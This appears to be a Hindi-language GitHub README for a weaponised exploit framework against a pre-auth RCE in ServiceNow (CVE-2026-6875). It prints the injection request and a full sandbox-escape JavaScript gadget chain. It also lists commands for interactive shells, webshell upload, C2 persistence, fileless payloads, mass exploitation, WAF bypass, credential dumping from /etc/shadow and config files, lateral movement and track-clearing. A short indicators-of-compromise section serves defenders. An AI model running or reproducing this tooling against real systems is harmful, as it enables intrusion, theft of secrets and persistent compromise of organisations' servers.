CVE-2026-6875 - ServiceNow Pre‑Auth RCE Exploit Framework & PoC Verifier 🔥

ServiceNow AI Platform — JavaScript Injection → Sandbox Escape → RCE → Root Privesc

Exploit Framework & Safe Verifier
For authorized security testing only.

⚖️ कानूनी अस्वीकरण और जिम्मेदार उपयोग

यह टूल केवल शैक्षिक और अधिकृत पैठ परीक्षण उद्देश्यों के लिए प्रदान किया गया है।

लेखक और योगदानकर्ता इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं। उपयोगकर्ता पूरी तरह से यह सुनिश्चित करने के लिए जिम्मेदार हैं कि परीक्षण से पहले उनके पास लक्ष्य मालिक से स्पष्ट लिखित अनुमति हो। कंप्यूटर सिस्टम में अनधिकृत पहुंच कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (CFAA) और दुनिया भर में समान कानूनों के तहत अवैध है।

इस सॉफ़्टवेयर का उपयोग करके, आप सहमत होते हैं:

• इसका उपयोग केवल उन सिस्टम पर करें जिनके आप मालिक हैं या जिनका परीक्षण करने की स्पष्ट अनुमति है।
• सभी लागू स्थानीय, राज्य और संघीय कानूनों का पालन करें।
• इसका उपयोग किसी भी दुर्भावनापूर्ण, विनाशकारी या अवैध गतिविधियों के लिए न करें।

⚠️ चेतावनी: इस कमज़ोरी का सक्रिय रूप से वास्तविक दुनिया में शोषण किया जा रहा है। अनधिकृत उपयोग के गंभीर कानूनी परिणाम हो सकते हैं।

🔥 कमज़ोरी का अवलोकन

CVE-2026-6875 ServiceNow AI Platform (पूर्व में Now Platform) में एक गंभीर बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) कमज़ोरी है। यह हमलावरों को स्क्रिप्ट सैंडबॉक्स को बायपास करने और ServiceNow एप्लिकेशन के विशेषाधिकारों के साथ मनमाना सिस्टम कमांड निष्पादित करने की अनुमति देती है।

यह कैसे काम करता है:

1. JavaScript इंजेक्शन: assessment_thanks.do एंडपॉइंट sysparm_assessable_type पैरामीटर स्वीकार करता है। मान को javascript: से उपसर्ग करके, एक हमलावर मनमाना JavaScript कोड इंजेक्ट करता है।

2. सैंडबॉक्स एस्केप: एक परिष्कृत सैंडबॉक्स-एस्केप गैजेट (DiscoveryFunctions.getCacheObjectForTable, AbstractAjaxProcessor, और Class.create को चेन करके) JavaScript सैंडबॉक्स प्रतिबंध को हटा देता है।

3. रिमोट कोड निष्पादन: इंजेक्ट किया गया Java कोड (java.lang.Runtime.exec() के माध्यम से) ServiceNow एप्लिकेशन विशेषाधिकारों के साथ चलता है, जिससे पूर्ण सिस्टम समझौता संभव होता है।

4. विशेषाधिकार वृद्धि: पोस्ट-एक्सप्लॉइटेशन मॉड्यूल sudo misconfigurations, SUID बाइनरी, लिखने योग्य क्रॉन जॉब्स या कर्नेल एक्सप्लॉइट के माध्यम से रूट तक विशेषाधिकार बढ़ाने का प्रयास करते हैं।

मुख्य तथ्य:

🛠️ एक्सप्लॉइट फ्रेमवर्क (exploit.py)

पूर्ण हथियारबंद एक्सप्लॉइट JavaScript इंजेक्शन और सैंडबॉक्स एस्केप को चेन करके रिमोट कोड निष्पादन प्राप्त करता है, जिसमें पर्सिस्टेंस, लैटरल मूवमेंट और क्रेडेंशियल डंपिंग के लिए उन्नत पोस्ट-एक्सप्लॉइटेशन मॉड्यूल शामिल हैं।

✨ विशेषताएँ

इंटरैक्टिव शेल कमांड

🕵️ सुरक्षित सत्यापक (verifier.py)

सुरक्षित सत्यापक हानिकारक पेलोड निष्पादित किए बिना या सिस्टम परिवर्तन किए बिना गैर-आक्रामक कमज़ोरी का पता लगाने का कार्य करता है।

✨ विशेषताएँ

📦 स्थापना और आवश्यकताएँ

पूर्वापेक्षाएँ

• Python 3.6+
• pip (requests लाइब्रेरी के लिए)

निर्भरताएँ स्थापित करें

pip install requests urllib3

[!NOTE] exploit.py मूल कार्यक्षमता के लिए केवल मानक लाइब्रेरी का उपयोग करता है; requests केवल --detect सुविधा, --webhook सूचनाओं और सुरक्षित सत्यापक के लिए आवश्यक है।

🚀 उपयोग उदाहरण

[1] सुरक्षित सत्यापक (verifier.py)

# एकल लक्ष्य सत्यापन
python verifier.py -u 192.168.1.100

# कस्टम पोर्ट और पथ
python verifier.py -u 10.0.0.5 -p 8443 --path /snow

# फ़ाइल से बड़े पैमाने पर स्कैन
python verifier.py -l targets.txt -o results.json

# शांत मोड (केवल कमज़ोर लक्ष्य)
python verifier.py -u 192.168.1.100 -q

# धीमे लक्ष्यों के लिए टाइमआउट बढ़ाएँ
python verifier.py -u servicenow.example.com --timeout 60

# कस्टम User-Agent
python verifier.py -u 192.168.1.100 --user-agent "MyScanner/1.0"

[2] एक्सप्लॉइट फ्रेमवर्क (exploit.py)

# लक्ष्य पर इंटरैक्टिव शेल
python exploit.py -u 192.168.1.100

# एकल कमांड निष्पादित करें
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# एक फ़ाइल पढ़ें
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# शोषण से पहले पहचान सक्षम करें
python exploit.py -u 192.168.1.100 --detect

# रूट विशेषाधिकार वृद्धि का प्रयास करें
python exploit.py -u 192.168.1.100 --privesc

# एक वेबशेल अपलोड करें
python exploit.py -u 192.168.1.100 --upload shell.jsp

# C2 के साथ पर्सिस्टेंस स्थापित करें
python exploit.py -u 192.168.1.100 --persistence --c2-host 10.0.0.5 --c2-port 4444

# एक्सप्लॉइट के बाद ट्रैक साफ़ करें
python exploit.py -u 192.168.1.100 --clean

# फ़ाइललेस (मेमोरी) पेलोड का उपयोग करें
python exploit.py -u 192.168.1.100 --fileless --c2-host 10.0.0.5 --c2-port 4444

# फ़ाइल से बड़े पैमाने पर शोषण (50 थ्रेड)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# कस्टम कॉलबैक सर्वर पोर्ट
python exploit.py -u 192.168.1.100 --callback-port 9090

# WAF बायपास तकनीक सक्षम करें
python exploit.py -u 192.168.1.100 --waf-bypass

# वेबहुक के माध्यम से सूचनाएँ भेजें
python exploit.py -u 192.168.1.100 --webhook https://myhook.com/snow

# पाइप मोड (stdin से कमांड पढ़ें)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

# कस्टम पोर्ट और पथ
python exploit.py -u 10.0.0.5 -p 8443 --path /snow

# स्व-हस्ताक्षरित प्रमाणपत्रों के लिए TLS सत्यापन अक्षम करें
python exploit.py -u 192.168.1.100 --insecure-tls

# कस्टम टाइमआउट और पुनर्प्रयास
python exploit.py -u 192.168.1.100 -t 60 -r 5 -d 2.0

🎯 प्रभावित संस्करण

⚠️ महत्वपूर्ण: ServiceNow क्लाउड इंस्टेंस स्वचालित रूप से पैच हो जाते हैं। यह कमज़ोरी मुख्य रूप से सेल्फ़-होस्टेड डिप्लॉयमेंट को प्रभावित करती है।

🧠 तकनीकी गहन जानकारी

1. JavaScript इंजेक्शन (CVE-2026-6875)

कमज़ोरी assessment_thanks.do एंडपॉइंट में निहित है, जो sysparm_assessable_type पैरामीटर स्वीकार करता है। javascript: से शुरू होने वाला मान प्रदान करके, प्लेटफ़ॉर्म सिस्टम संदर्भ में बाद के JavaScript का मूल्यांकन करता है।

कमज़ोर एंडपॉइंट:

POST /assessment_thanks.do sysparm_assessable_type=javascript:gs.print('test')

2. सैंडबॉक्स एस्केप गैजेट

इंजेक्ट किया गया कोड शुरू में एक सैंडबॉक्स तक सीमित होता है। हालांकि, निम्नलिखित श्रृंखला का शोषण करके:

javascript:
var s="<payload>";
DiscoveryFunctions.getCacheObjectForTable=Object;
var a={};a.get=Object;
var b=new AbstractAjaxProcessor();
b.initialize=DiscoveryFunctions.getFirstValueFromTable(
  a,"",DiscoveryFunctions.getFirstValueFromTable(
    a,"",DiscoveryFunctions.getFirstValueFromTable(
      a,"",global,"WorkflowIconsSCR",""),"prototype",""),"initialize","");
b.a=Class.create();b.a(s);

सैंडबॉक्स बायपास हो जाता है, जिससे java.lang.Runtime जैसी Java कक्षाओं तक पूर्ण पहुंच मिल जाती है।

3. पोस्ट-एक्सप्लॉइटेशन मॉड्यूल

क्रेडेंशियल डंपिंग

पासवर्ड, API कुंजी और रहस्यों के लिए .properties, .xml, .conf फ़ाइलों की खोज करता है:

• /opt/ServiceNow/conf/*.xml
• /var/log/ServiceNow/*.log
• /etc/passwd, /etc/shadow

पर्सिस्टेंस

इसके माध्यम से बैकडोर स्थापित करता है:

• Linux: क्रॉन जॉब्स (*/5 * * * *), systemd सेवाएँ, SSH कुंजियाँ
• Windows: निर्धारित कार्य (schtasks), रजिस्ट्री रन कुंजियाँ

लैटरल मूवमेंट

अन्य ServiceNow इंस्टेंस या SSH होस्ट के लिए स्थानीय सबनेट स्कैन करता है, खोजे गए क्रेडेंशियल का पुन: उपयोग करता है।

फ़ाइललेस निष्पादन

एक Java क्लास को तुरंत संकलित करता है, इसे ClassLoader के माध्यम से लोड करता है, और मेमोरी में निष्पादित करता है (कोई डिस्क राइट नहीं)।

WAF बायपास तकनीकें

1. डबल URL एन्कोडिंग
2. JavaScript टिप्पणियाँ ({/*comment*/})
3. यूनिकोड एस्केपिंग (\u0077 w के लिए)
4. व्हाइटस्पेस इंजेक्शन
5. कीवर्ड विभाजन (ne\u0077 new के लिए)
6. यादृच्छिक तकनीक चयन

🔍 समझौते के संकेतक (IoCs)

लॉग विश्लेषण

अपने ServiceNow लॉग में निम्नलिखित खोजें:

• extraweb_access.log – /assessment_thanks.do के लिए अनुरोध जिसमें sysparm_assessable_type शामिल है:
  • javascript:
  • Base64-एन्कोडेड स्ट्रिंग
  • DiscoveryFunctions.getCacheObjectForTable
  • AbstractAjaxProcessor

फ़ाइल सिस्टम

• /var/tmp/ में अप्रत्याशित फ़ाइलें (जैसे, shell.jsp, .sh स्क्रिप्ट)
• संशोधित /etc/passwd, /etc/shadow, या ~/.ssh/authorized_keys
• नई क्रॉन जॉब्स (crontab -l)
• नई systemd सेवाएँ (/etc/systemd/system/)

प्रक्रियाएँ

• संदिग्ध प्रक्रियाएँ (/bin/bash -i, nc, curl, wget, python -c)
• बाहरी IP से अनपेक्षित नेटवर्क कनेक्शन

नेटवर्क

• ServiceNow सर्वर से अनधिकृत IP पर आउटबाउंड कनेक्शन
• असामान्य पोर्ट पर रिवर्स शेल कनेक्शन

📚 संदर्भ

• NVD - CVE-2026-6875
• ServiceNow सुरक्षा सलाह (KB3137947)
• CISA KEV कैटलॉग
• Searchlight Cyber – तकनीकी लेख
• द हैकर न्यूज़ – ServiceNow जीरो-डे का शोषण

🔗 अन्य एक्सप्लॉइट

[+] CVE-2026-15409/15410 - SonicWall SMA1000 मल्टी-एक्सप्लॉइट फ्रेमवर्क
https://github.com/tc4dy/CVE-2026-15409-15410-Framework

[+] CVE-2026-41091 - SolarFlare (RedSun) Microsoft Defender LPE
https://github.com/tc4dy/CVE-2026-41091-PoC-Exploit

[+] CVE-2026-57821 - Apache Fineract SQL इंजेक्शन टूलकिट
https://github.com/tc4dy/CVE-2026-57821-PoC-Exploit

[+] CVE-2026-41940 - cPanel/WHM प्रमाणीकरण बायपास
https://github.com/tc4dy/CVE-2026-41940-PoC-Exploit